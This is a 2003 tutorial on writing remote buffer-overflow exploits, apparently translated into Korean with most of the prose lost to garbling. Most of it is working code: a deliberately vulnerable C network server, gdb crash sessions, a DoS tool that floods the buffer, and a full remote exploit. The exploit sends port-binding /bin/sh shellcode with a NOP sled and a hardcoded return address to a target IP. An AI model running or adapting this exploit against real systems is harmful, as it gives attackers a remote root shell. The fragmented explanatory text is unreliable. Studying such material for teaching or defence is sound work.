: How to write remote exploits
: Robin Walser irc.euirc.net #usad
: 2003. 5. 16. ()
: 2003. 5. 16.
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(V. 1.1)

1.

. ", 가 가

The C Programming language (Kernighan/Ritchie)
Unix Network Programming (Richard Stevens)
Good tutorials about exploits you can find on my homepage, i.e. smashing the stack for fun and profit... by aleph1

2.

```
?
                                                              vulnerable.c
     가
----- vulnerable.c
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#define BUFFER_SIZE 1024
#define NAME_SIZE 2048
int handling(int c) {
   char buffer[BUFFER_SIZE], name[NAME_SIZE];
   int bytes;
   strcpy(buffer, "My name is: ");
   bytes = send(c, buffer, strlen(buffer), 0);
   if (bytes == -1)
                      return -1;
   bytes = recv(c, name, sizeof(name), 0);
   if (bytes == -1) return -1;
   name[bytes - 1] = '0';
   sprintf(buffer, "Hello %s, nice to meet you! r n", name);
   bytes = send(c, buffer, strlen(buffer), 0);
   if (bytes == -1) return -1;
   return 0;
}
```

```
int main(int argc, char *argv[])
                                     {
    int s, c, cli_size;
   struct sockaddr_in srv, cli;
    if (argc != 2)
       fprintf(stderr, "usage: %s port n", argv[0]);
        return 1;
    }
   s = socket(AF_INET, SOCK_STREAM, 0);
    if (s == -1)
       perror("socket() failed");
       return 2;
    }
   srv.sin_addr.s_addr = INADDR_ANY;
   srv.sin_port = htons( (unsigned short int) atol(argv[1]));
   srv.sin_family = AF_INET;
    if (bind(s, \&srv, sizeof(srv)) == -1)
                                          {
       perror("bind() failed");
       return 3;
    }
    if (listen(s, 3) == -1)
       perror("listen() failed");
       return 4;
   }
    for(;;)
               {
       c = accept(s, &cli, &cli_size);
       if (c == -1) {
           perror("accept() failed");
            return 5;
       }
       printf("client from %s", inet_ntoa(cli.sin_addr));
```

```
if (handling(c) == -1) fprintf(stderr, "%s: handling() failed", argv[0]);
       close(c);
   }
    return 0;
}
-----E0F-----
user@linux:~/ > gcc vulnerable.c -o vulnerable
user@linux:~/ > ./vulnerable 8080
./vulnerable 8080
                            8080
                                       root 가
                                                                  (1~1024)
                                                                                    . . .
program <port>
                                                           가
  . gdb
                     vulneralbe
           . . . :
user@linux~/ > gdb vulnerable
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-suse-linux"...
(gdb) run 8080
Starting program: /home/user/directory/vulnerable 8080
                    8080
       telnet
                                           8080
                  netcat
```

```
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: Hello Robin, nice to meet you!
Connection closed by foreign host.
user@linux:~/ >
                               가 ....
                                                                         gdb(
                                                                                   )
client from 127.0.0.1 Oxbffff28c
/*
                            가
0xbffff28c . */
                                                 for
3.
          8080
                                                         "My name is:..." 1024
               . . . . . . .
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
```

telnet . gdb Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) // gdb 가 eip 0x41414141 가 . 0x41 1024 name[2048] buffer[1024] 가 ... name[2048] 1024 name buffer eip(Extended Instruction Pointer, 가

[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]
[xxxxx buffer-only-1024-bytes xxx] [EIP]

.) 가

. buffer 1024 eip

buffer

```
// eip
                                                          가
                                         main
(0x41414141)
                                                            가
                                 . . . . .
                  DoS
                           .(Now here's a DoS tool for this program: )
----- dos.c
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
int main(int argc, char **argv) {
   struct sockaddr_in addr;
   struct hostent *host;
   char buffer[2048];
   int s, i;
   if(argc != 3)
       fprintf(stderr, "usage: %s <host> <port> n", argv[0]);
       exit(0);
   }
   s = socket(AF_INET, SOCK_STREAM, 0);
   if(s == -1) {
       perror("socket() failed n");
       exit(0);
   }
   host = gethostbyname(argv[1]);
   if( host == NULL)
       herror("gethostbyname() failed");
       exit(0);
   }
```

```
addr.sin_addr = *(struct in_addr*)host->h_addr;
   addr.sin_family = AF_INET;
   addr.sin_port = htons(atol(argv[2]));
   if(connect(s, &addr, sizeof(addr)) == -1) {
       perror("couldn't connect so server n");
       exit(0);
   }
   /* Not difficult only filling buffer with A's.... den sending nothing more */
   for(i = 0; i < 2048; i++) buffer[i] = 'A';
   printf("buffer is: %s n", buffer);
   printf("buffer filled... now sending buffer n");
   send(s, buffer, strlen(buffer), 0);
   printf("buffer sent. n");
   close(s);
   return 0;
}
----- EOF
```

4.

```
. gdb esp ygw ofZhgsuf... gdb esp . (gdb ) SEGFAULT 가 .... x/200bx $esp-200 .
```

(gdb) x/200bx \$esp-200

```
---Type <return> to continue, or q <return> to quit---
             buffer
                     가....(
  . . . .
 ).
         NOP's
                               가 .
      가
  0x41
                                        NOPS
5.
가
      가
1.
     esp
                         esp
           buffer
               NOP's
                            ) . . .
                가..???
  www.hack.co.za or my page *g*.
2. 1024
                      1064
                                   eip
           가
              . 1024
```

```
. NOP
3.
  memset(buffer, 0x90, 1064);
4.
  memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));
              가
     ?
                                   NOP
                                                                           가
5.
  buffer[1000] = 0x90; // 0x90
                                        NOP
6.
   for(i = 1022; i < 1059; i+=4)
       ((int *) &buffer[i]) = RET;
       // RET
                    가
                                                  . #define
   }
          buffer
                   1024
                                                                     1022
                          1059
      eip
7. buffer
                                 가
  buffer[1063] = 0x0;
             buffer 가
                             3789
       가
                                    telnet
                                                                              3789
                                               netcat
```

```
"id;" (
                                                                                                  )
                 . . . .
* <command>;
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
//Portbinding Shellcode
char shellcode[] =
" x89 xe5 x31 xd2 xb2 x66 x89 xd0 x31 xc9 x89 xcb x43 x89 x5d xf8"
" x43 x89 x5d xf4 x4b x89 x4d xfc x8d x4d xf4 xcd x80 x31 xc9 x89"
" x45 xf4 x43 x66 x89 x5d xec x66 xc7 x45 xee x0f x27 x89 x4d xf0"
" x8d x45 xec x89 x45 xf8 xc6 x45 xfc x10 x89 xd0 x8d x4d xf4 xcd"
" x80 x89 xd0 x43 x43 xcd x80 x89 xd0 x43 xcd x80 x89 xc3 x31 xc9"
" xb2 x3f x89 xd0 xcd x80 x89 xd0 x41 xcd x80 xeb x18 x5e x89 x75"
" x08 x31 xc0 x88 x46 x07 x89 x45 x0c xb0 x0b x89 xf3 x8d x4d x08"
" x8d x55 x0c xcd x80 xe8 xe3 xff xff xff/bin/sh";
//standard offset (probably must be modified)
#define RET Oxbffff5ec
int main(int argc, char *argv[]) {
    char buffer[1064];
    int s, i, size;
    struct sockaddr_in remote;
    struct hostent *host;
    if(argc != 3) {
        printf("Usage: %s target-ip port n", argv[0]);
        return -1;
    }
```

```
// filling buffer with NOPs
memset(buffer, 0x90, 1064);
//copying shellcode into buffer
memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
// the previous statement causes a unintential Nullbyte at buffer[1000]
buffer[1000] = 0x90;
// Copying the return address multiple times at the end of the buffer...
for(i=1022; i < 1059; i+=4) {
    * ((int *) &buffer[i]) = RET;
}
buffer[1063] = 0x0;
//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL)
    fprintf(stderr, "Unknown Host %s n",argv[1]);
    return -1;
}
// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) {
    fprintf(stderr, "Error: Socket n");
    return -1;
}
//state Protocolfamily , then converting the hostname or IP address, and getting port number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
                                                                     {
```

```
close(s);
       fprintf(stderr, "Error: connect n");
       return -1;
   }
   //sending exploit string
   size = send(s, buffer, sizeof(buffer), 0);
   if (size==-1)
                 {
       close(s);
       fprintf(stderr, "sending data failed n");
       return -1;
   }
   // closing socket
   close(s);
}
-----E0F
```

6.

7. root

8. inetd.conf

vulnerable 1526/tcp #

```
inetd.conf
root@linux~/ > vi /etc/inetd.conf
vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526
    inetd.conf
root@linux~/ > killall -HUP inetd
     inetd
                                                                               가
Note:
                                            . /etc/services
inetd.conf 가 가 . /bin/sh sh -i or sh -h *g*....
9.
                                                                                 gdb
               . . .
user@linux~/ > gdb vulnerable
(gdb) run <port>
                                            gdb
10 )
```

10. ()

(me) . . .

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11.

Thanks to Maverick for the vulnerable programm *hehe* (in his Tutorial "Socket Programming"), thanks to triton for the exploitcode (great man, also member of buha-security.de) Greets to all members of buha-security.de and greets to XaitaX, cat, Anthraxx, Jess (I wonder what happend with her), DrDoo (knuff) and of course one of my best friends Richard Hirner (well I know him 1,2 year ago, but we didn't meet us.... *g*..)... at least greets to all apprentices of LGT Bank in Liechtenstein, special greets to Marc, Etienne, Martina... (Toni from Hospital too, my own appretice)

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